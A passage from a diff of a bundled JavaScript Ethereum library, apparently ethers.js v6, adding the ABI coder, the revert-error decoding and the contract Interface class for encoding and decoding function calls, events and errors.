getBuiltinCallException(action, tx, data, abiCoder) { + let message = "missing revert data"; + let reason = null; + const invocation = null; + let revert = null; + if (data) { + message = "execution reverted"; + const bytes = getBytes(data); + data = hexlify(data); + if (bytes.length === 0) { + message += " (no data present; likely require(false) occurred"; + reason = "require(false)"; + } + else if (bytes.length % 32 !== 4) { + message += " (could not decode reason; invalid data length)"; + } + else if (hexlify(bytes.slice(0, 4)) === "0x08c379a0") { + // Error(string) + try { + reason = abiCoder.decode(["string"], bytes.slice(4))[0]; + revert = { + signature: "Error(string)", + name: "Error", + args: [reason] + }; + message += `: ${JSON.stringify(reason)}`; + } + catch (error) { + message += " (could not decode reason; invalid string data)"; + } + } + else if (hexlify(bytes.slice(0, 4)) === "0x4e487b71") { + // Panic(uint256) + try { + const code = Number(abiCoder.decode(["uint256"], bytes.slice(4))[0]); + revert = { + signature: "Panic(uint256)", + name: "Panic", + args: [code] + }; + reason = `Panic due to ${PanicReasons$1.get(code) || "UNKNOWN"}(${code})`; + message += `: ${reason}`; + } + catch (error) { + message += " (could not decode panic code)"; + } + } + else { + message += " (unknown custom error)"; + } + } + const transaction = { + to: (tx.to ? getAddress(tx.to) : null), + data: (tx.data || "0x") + }; + if (tx.from) { + transaction.from = getAddress(tx.from); + } + return makeError(message, "CALL_EXCEPTION", { + action, data, reason, transaction, invocation, revert + }); + } + /** + * The **AbiCoder** is a low-level class responsible for encoding JavaScript + * values into binary data and decoding binary data into JavaScript values. + */ + class AbiCoder { + #getCoder(param) { + if (param.isArray()) { + return new ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name); + } + if (param.isTuple()) { + return new TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name); + } + switch (param.baseType) { + case "address": + return new AddressCoder(param.name); + case "bool": + return new BooleanCoder(param.name); + case "string": + return new StringCoder(param.name); + case "bytes": + return new BytesCoder(param.name); + case "": + return new NullCoder(param.name); + } + // u?int[0-9]* + let match = param.type.match(paramTypeNumber); + if (match) { + let size = parseInt(match[2] || "256"); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid " + match[1] + " bit length", "param", param); + return new NumberCoder(size / 8, (match[1] === "int"), param.name); + } + // bytes[0-9]+ + match = param.type.match(paramTypeBytes); + if (match) { + let size = parseInt(match[1]); + assertArgument(size !== 0 && size <= 32, "invalid bytes length", "param", param); + return new FixedBytesCoder(size, param.name); + } + assertArgument(false, "invalid type", "type", param.type); + } + /** + * Get the default values for the given %%types%%. + * + * For example, a ``uint`` is by default ``0`` and ``bool`` + * is by default ``false``. + */ + getDefaultValue(types) { + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.defaultValue(); + } + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types, values) { + assertArgumentCount(values.length, types.length, "types/values length mismatch"); + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = (new TupleCoder(coders, "_")); + const writer = new Writer(); + coder.encode(writer, values); + return writer.data; + } + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types, data, loose) { + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.decode(new Reader(data, loose, defaultMaxInflation)); + } + static _setDefaultMaxInflation(value) { + assertArgument(typeof (value) === "number" && Number.isInteger(value), "invalid defaultMaxInflation factor", "value", value); + defaultMaxInflation = value; + } + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder() { + if (defaultCoder == null) { + defaultCoder = new AbiCoder(); + } + return defaultCoder; + } + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action, tx, data) { + return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder()); + } + } + + /** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ + /** + * Encodes %%text%% as a Bytes32 string. + */ + function encodeBytes32String(text) { + // Get the bytes + const bytes = toUtf8Bytes(text); + // Check we have room for null-termination + if (bytes.length > 31) { + throw new Error("bytes32 string must be less than 32 bytes"); + } + // Zero-pad (implicitly null-terminates) + return zeroPadBytes(bytes, 32); + } + /** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ + function decodeBytes32String(_bytes) { + const data = getBytes(_bytes, "bytes"); + // Must be 32 bytes with a null-termination + if (data.length !== 32) { + throw new Error("invalid bytes32 - not 32 bytes long"); + } + if (data[31] !== 0) { + throw new Error("invalid bytes32 string - no null terminator"); + } + // Find the null termination + let length = 31; + while (data[length - 1] === 0) { + length--; + } + // Determine the string value + return toUtf8String(data.slice(0, length)); + } + + /** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ + /** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ + class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + fragment; + /** + * The name of the Event. + */ + name; + /** + * The full Event signature. + */ + signature; + /** + * The topic hash for the Event. + */ + topic; + /** + * The arguments passed into the Event with ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(fragment, topic, args) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, signature, topic, args + }); + } + } + /** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ + class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + fragment; + /** + * The name of the Function from the transaction ``data``. + */ + name; + /** + * The arguments passed to the Function from the transaction ``data``. + */ + args; + /** + * The full Function signature from the transaction ``data``. + */ + signature; + /** + * The selector for the Function from the transaction ``data``. + */ + selector; + /** + * The ``value`` (in wei) from the transaction. + */ + value; + /** + * @_ignore: + */ + constructor(fragment, selector, args, value) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector, value + }); + } + } + /** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ + class ErrorDescription { + /** + * The matching fragment. + */ + fragment; + /** + * The name of the Error. + */ + name; + /** + * The arguments passed to the Error with ``revert``. + */ + args; + /** + * The full Error signature. + */ + signature; + /** + * The selector for the Error. + */ + selector; + /** + * @_ignore: + */ + constructor(fragment, selector, args) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector + }); + } + } + /** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ + class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + hash; + /** + * @_ignore: + */ + _isIndexed; + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value) { + return !!(value && value._isIndexed); + } + /** + * @_ignore: + */ + constructor(hash) { + defineProperties(this, { hash, _isIndexed: true }); + } + } + // https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require + const PanicReasons = { + "0": "generic panic", + "1": "assert(false)", + "17": "arithmetic overflow", + "18": "division or modulo by zero", + "33": "enum overflow", + "34": "invalid encoded storage byte array accessed", + "49": "out-of-bounds array access; popping on an empty array", + "50": "out-of-bounds access of an array or bytesN", + "65": "out of memory", + "81": "uninitialized function", + }; + const BuiltinErrors = { + "0x08c379a0": { + signature: "Error(string)", + name: "Error", + inputs: ["string"], + reason: (message) => { + return `reverted with reason string ${JSON.stringify(message)}`; + } + }, + "0x4e487b71": { + signature: "Panic(uint256)", + name: "Panic", + inputs: ["uint256"], + reason: (code) => { + let reason = "unknown panic code"; + if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) { + reason = PanicReasons[code.toString()]; + } + return `reverted with panic code 0x${code.toString(16)} (${reason})`; + } + } + }; + /** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ + class Interface { + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + fragments; + /** + * The Contract constructor. + */ + deploy; + /** + * The Fallback method, if any. + */ + fallback; + /** + * If receiving ether is supported. + */ + receive; + #errors; + #events; + #functions; + // #structs: Map; + #abiCoder; + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments) { + let abi = []; + if (typeof (fragments) === "string") { + abi = JSON.parse(fragments); + } + else { + abi = fragments; + } + this.#functions = new Map(); + this.#errors = new Map(); + this.#events = new Map(); + // this.#structs = new Map(); + const frags = []; + for (const a of abi) { + try { + frags.push(Fragment.from(a)); + } + catch (error) { + console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`, error.message); + } + } + defineProperties(this, { + fragments: Object.freeze(frags) + }); + let fallback = null; + let receive = false; + this.#abiCoder = this.getAbiCoder(); + // Add all fragments by their signature + this.fragments.forEach((fragment, index) => { + let bucket; + switch (fragment.type) { + case "constructor": + if (this.deploy) { + console.log("duplicate definition - constructor"); + return; + } + //checkNames(fragment, "input", fragment.inputs); + defineProperties(this, { deploy: fragment }); + return; + case "fallback": + if (fragment.inputs.length === 0) { + receive = true; + } + else { + assertArgument(!fallback || fragment.payable !== fallback.payable, "conflicting fallback fragments", `fragments[${index}]`, fragment); + fallback = fragment; + receive = fallback.payable; + } + return; + case "function": + //checkNames(fragment, "input", fragment.inputs); + //checkNames(fragment, "output", (fragment).outputs); + bucket = this.#functions; + break; + case "event": + //checkNames(fragment, "input", fragment.inputs); + bucket = this.#events; + break; + case "error": + bucket = this.#errors; + break; + default: + return; + } + // Two identical entries; ignore it + const signature = fragment.format(); + if (bucket.has(signature)) { + return; + } + bucket.set(signature, fragment); + }); + // If we do not have a constructor add a default + if (!this.deploy) { + defineProperties(this, { + deploy: ConstructorFragment.from("constructor()") + }); + } + defineProperties(this, { fallback, receive }); + } + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal) { + const format = (minimal ? "minimal" : "full"); + const abi = this.fragments.map((f) => f.format(format)); + return abi; + } + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson() { + const abi = this.fragments.map((f) => f.format("json")); + // We need to re-bundle the JSON fragments a bit + return JSON.stringify(abi.map((j) => JSON.parse(j))); + } + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder() { + return AbiCoder.defaultAbiCoder(); + } + // Find a function definition by any means necessary (unless it is ambiguous) + #getFunction(key, values, forceUnique) { + // Selector + if (isHexString(key)) { + const selector = key.toLowerCase(); + for (const fragment of this.#functions.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#functions) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + const lastValue = (values.length > 0) ? values[values.length - 1] : null; + let valueLength = values.length; + let allowOptions = true; + if (Typed.isTyped(lastValue) && lastValue.type === "overrides") { + allowOptions = false; + valueLength--; + } + // Remove all matches that don't have a compatible length. The args + // may contain an overrides, so the match may have n or n - 1 parameters + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs.length; + if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { + continue; + } + // We are past the inputs + if (j >= inputs.length) { + if (values[j].type === "overrides") { + continue; + } + matching.splice(i, 1); + break; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + // We found a single matching signature with an overrides, but the + // last value is something that cannot possibly be an options + if (matching.length === 1 && values && values.length !== matching[0].inputs.length) { + const lastArg = values[values.length - 1]; + if (lastArg == null || Array.isArray(lastArg) || typeof (lastArg) !== "object") { + matching.splice(0, 1); + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous function description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#functions.get(FunctionFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key) { + const fragment = this.#getFunction(key, null, false); + assertArgument(fragment, "no matching function", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key) { + return !!this.#getFunction(key, null, false); + } + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key, values) { + return this.#getFunction(key, values || null, true); + } + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback) { + const names = Array.from(this.#functions.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#functions.get(name)), i); + } + } + // Find an event definition by any means necessary (unless it is ambiguous) + #getEvent(key, values, forceUnique) { + // EventTopic + if (isHexString(key)) { + const eventTopic = key.toLowerCase(); + for (const fragment of this.#events.values()) { + if (eventTopic === fragment.topicHash) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#events) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + // Remove all matches that don't have a compatible length. + for (let i = matching.length - 1; i >= 0; i--) { + if (matching[i].inputs.length < values.length) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { + continue; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous event description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#events.get(EventFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key) { + const fragment = this.#getEvent(key, null, false); + assertArgument(fragment, "no matching event", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key) { + return !!this.#getEvent(key, null, false); + } + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key, values) { + return this.#getEvent(key, values || null, true); + } + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback) { + const names = Array.from(this.#events.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#events.get(name)), i); + } + } + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key, values) { + if (isHexString(key)) { + const selector = key.toLowerCase(); + if (BuiltinErrors[selector]) { + return ErrorFragment.from(BuiltinErrors[selector].signature); + } + for (const fragment of this.#errors.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#errors) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (matching.length === 0) { + if (key === "Error") { + return ErrorFragment.from("error Error(string)"); + } + if (key === "Panic") { + return ErrorFragment.from("error Panic(uint256)"); + } + return null; + } + else if (matching.length > 1) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous error description (i.e. ${matchStr})`, "name", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + key = ErrorFragment.from(key).format(); + if (key === "Error(string)") { + return ErrorFragment.from("error Error(string)"); + } + if (key === "Panic(uint256)") { + return ErrorFragment.from("error Panic(uint256)"); + } + const result = this.#errors.get(key); + if (result) { + return result; + } + return null; + } + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback) { + const names = Array.from(this.#errors.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#errors.get(name)), i); + } + } + // Get the 4-byte selector used by Solidity to identify a function + /* + getSelector(fragment: ErrorFragment | FunctionFragment): string { + if (typeof(fragment) === "string") { + const matches: Array = [ ]; + + try { matches.push(this.getFunction(fragment)); } catch (error) { } + try { matches.push(this.getError(fragment)); } catch (_) { } + + if (matches.length === 0) { + logger.throwArgumentError("unknown fragment", "key", fragment); + } else if (matches.length > 1) { + logger.throwArgumentError("ambiguous fragment matches function and error", "key", fragment); + } + + fragment = matches[0]; + } + + return dataSlice(id(fragment.format()), 0, 4); + } + */ + // Get the 32-byte topic hash used by Solidity to identify an event + /* + getEventTopic(fragment: EventFragment): string { + //if (typeof(fragment) === "string") { fragment = this.getEvent(eventFragment); } + return id(fragment.format()); + } + */ + _decodeParams(params, data) { + return this.#abiCoder.decode(params, data); + } + _encodeParams(params, values) { + return this.#abiCoder.encode(params, values); + } + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values) { + return this._encodeParams(this.deploy.inputs, values || []); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match error ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match function ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + let message = "invalid length for result data"; + const bytes = getBytesCopy(data); + if ((bytes.length % 32) === 0) { + try { + return this.#abiCoder.decode(fragment.outputs, bytes); + } + catch (error) { + message = "could not decode result data"; + } + } + // Call returned data with no error, but the data is junk + assert(false, message, "BAD_DATA", { + value: hexlify(bytes), + info: { method: fragment.name, signature: fragment.format() } + }); + } + makeError(_data, tx) { + const data = getBytes(_data, "data"); + const error = AbiCoder.getBuiltinCallException("call", tx, data); + // Not a built-in error; try finding a custom error + const customPrefix = "execution reverted (unknown custom error)"; + if (error.message.startsWith(customPrefix)) { + const selector = hexlify(data.slice(0, 4)); + const ef = this.getError(selector); + if (ef) { + try { + const args = this.#abiCoder.decode(ef.inputs, data.slice(4)); + error.revert = { + name: ef.name, signature: ef.format(), args + }; + error.reason = error.revert.signature; + error.message = `execution reverted: ${error.reason}`; + } + catch (e) { + error.message = `execution reverted (coult not decode custom error)`; + } + } + } + // Add the invocation, if available + const parsed = this.parseTransaction(tx); + if (parsed) { + error.invocation = { + method: parsed.name, + signature: parsed.signature, + args: parsed.args + }; + } + return error; + } + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return hexlify(this.#abiCoder.encode(fragment.outputs, values || [])); + } + /* + spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> { + const promises: Array> = [ ]; + const process = function(type: ParamType, value: any): any { + if (type.baseType === "array") { + return descend(type.child + } + if (type. === "address") { + } + }; + + const descend = function (inputs: Array, values: ReadonlyArray) { + if (inputs.length !== values.length) { throw new Error("length mismatch"); } + + }; + + const result: Array = [ ]; + values.forEach((value, index) => { + if (value == null) { + topics.push(null); + } else if (param.baseType === "array" || param.baseType === "tuple") { + logger.throwArgumentError("filtering with tuples or arrays not supported", ("contract." + param.name), value); + } else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } else { + topics.push(encodeTopic(param, value)); + } + }); + } + */ + // Create the filter for the event with search criteria (e.g. for eth_filterLog) + encodeFilterTopics(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + assert(values.length <= fragment.inputs.length, `too many arguments for ${fragment.format()}`, "UNEXPECTED_ARGUMENT", { count: values.length, expectedCount: fragment.inputs.length }); + const topics = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + // @TODO: Use the coders for this; to properly support tuples, etc. + const encodeTopic = (param, value) => { + if (param.type === "string") { + return id(value); + } + else if (param.type === "bytes") { + return keccak256(hexlify(value)); + } + if (param.type === "bool" && typeof (value) === "boolean") { + value = (value ? "0x01" : "0x00"); + } + else if (param.type.match(/^u?int/)) { + value = toBeHex(value); // @TODO: Should this toTwos?? + } + else if (param.type.match(/^bytes/)) { + value = zeroPadBytes(value, 32); + } + else if (param.type === "address") { + // Check addresses are valid + this.#abiCoder.encode(["address"], [value]); + } + return zeroPadValue(hexlify(value), 32); + }; + values.forEach((value, index) => { + const param = fragment.inputs[index]; + if (!param.indexed) { + assertArgument(value == null, "cannot filter non-indexed parameters; must be null", ("contract." + param.name), value); + return; + } + if (value == null) { + topics.push(null); + } + else if (param.baseType === "array" || param.baseType === "tuple") { + assertArgument(false, "filtering with tuples or arrays not supported", ("contract." + param.name), value); + } + else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } + else { + topics.push(encodeTopic(param, value)); + } + }); + // Trim off trailing nulls + while (topics.length && topics[topics.length - 1] === null) { + topics.pop(); + } + return topics; + } + encodeEventLog(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + const topics = []; + const dataTypes = []; + const dataValues = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + assertArgument(values.length === fragment.inputs.length, "event arguments/values mismatch", "values", values); + fragment.inputs.forEach((param, index) => { + const value = values[index]; + if (param.indexed) { + if (param.type === "string") { + topics.push(id(value)); + } + else if (param.type === "bytes") { + topics.push(keccak256(value)); + } + else if (param.baseType === "tuple" || param.baseType === "array") { + // @TODO + throw new Error("not implemented"); + } + else { + topics.push(this.#abiCoder.encode([param.type], [value])); + } + } + else { + dataTypes.push(param); + dataValues.push(value); + } + }); + return { + data: this.#abiCoder.encode(dataTypes, dataValues), + topics: topics + }; + } + // Decode a filter for the event and the search criteria + decodeEventLog(fragment, data, topics) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + if (topics != null && !fragment.anonymous) { + const eventTopic = fragment.topicHash; + assertArgument(isHexString(topics[0], 32) && topics[0].toLowerCase() === eventTopic, "fragment/topic mismatch", "topics[0]", topics[0]); + topics = topics.slice(1); + } + const indexed = []; + const nonIndexed = []; + const dynamic = []; + fragment.inputs.forEach((param, index) => { + if (param.indexed) { + if (param.type === "string" || param.type === "bytes" || param.baseType === "tuple" || param.baseType === "array") { + indexed.push(ParamType.from({ type: "bytes32", name: param.name })); + dynamic.push(true); + } + else { + indexed.push(param); + dynamic.push(false); + } + } + else { + nonIndexed.push(param); + dynamic.push(false); + } + }); + const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, concat(topics)) : null; + const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true); + //const result: (Array & { [ key: string ]: any }) = [ ]; + const values = []; + const keys = []; + let nonIndexedIndex = 0, indexedIndex = 0; + fragment.inputs.forEach((param, index) => { + let value = null; + if (param.indexed) { + if (resultIndexed == null) { + value = new Indexed(null); + } + else if (dynamic[index]) { + value = new Indexed(resultIndexed[indexedIndex++]); + } + else { + try { + value = resultIndexed[indexedIndex++]; + } + catch (error) { + value = error; + } + } + } + else { + try { + value = resultNonIndexed[nonIndexedIndex++]; + } + catch (error) { + value = error; + } + } + values.push(value); + keys.push(param.name || null); + }); + return Result.fromItems(values, keys); + } + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx) { + const data = getBytes(tx.data, "tx.data"); + const value = getBigInt((tx.value != null) ? tx.value : 0, "tx.value"); + const fragment = this.getFunction(hexlify(data.slice(0, 4))); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, data.slice(4)); + return new TransactionDescription(fragment, fragment.selector, args, value); + } + parseCallResult(data) { + throw new Error("@TODO"); + } + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log) { + const fragment = this.getEvent(log.topics[0]); + if (!fragment || fragment.anonymous) { + return null; + } + // @TODO: If anonymous, and the only method, and the input count matches, should we parse? + // Probably not, because just because it is the only event in the ABI does + // not mean we have the full ABI; maybe just a fragment? + return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics)); + } + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data) { + const hexData = hexlify(data); + const fragment = this.getError(dataSlice(hexData, 0, 4)); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, dataSlice(hexData, 4)); + return new ErrorDescription(fragment, fragment.selector, args); + } + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value) { + // Already an Interface, which is immutable + if (value instanceof Interface) { + return value; + } + // JSON + if (typeof (value) === "string") { + return new Interface(JSON.parse(value)); + } + // An Interface; possibly from another v6 instance + if (typeof (value.formatJson) === "function") { + return new Interface(value.formatJson()); + } + // A legacy Interface; from an older version + if (typeof (value.format) === "function") { + return new Interface(value.format("json")); + } + // Array of fragments + return new Interface(value); + } + } + + //import { resolveAddress } from "@ethersproject/address"; + const BN_0$2 = BigInt(0); + // ----------------------- + function getValue(value) { + if (value == null) { + return null; + } + return value; + 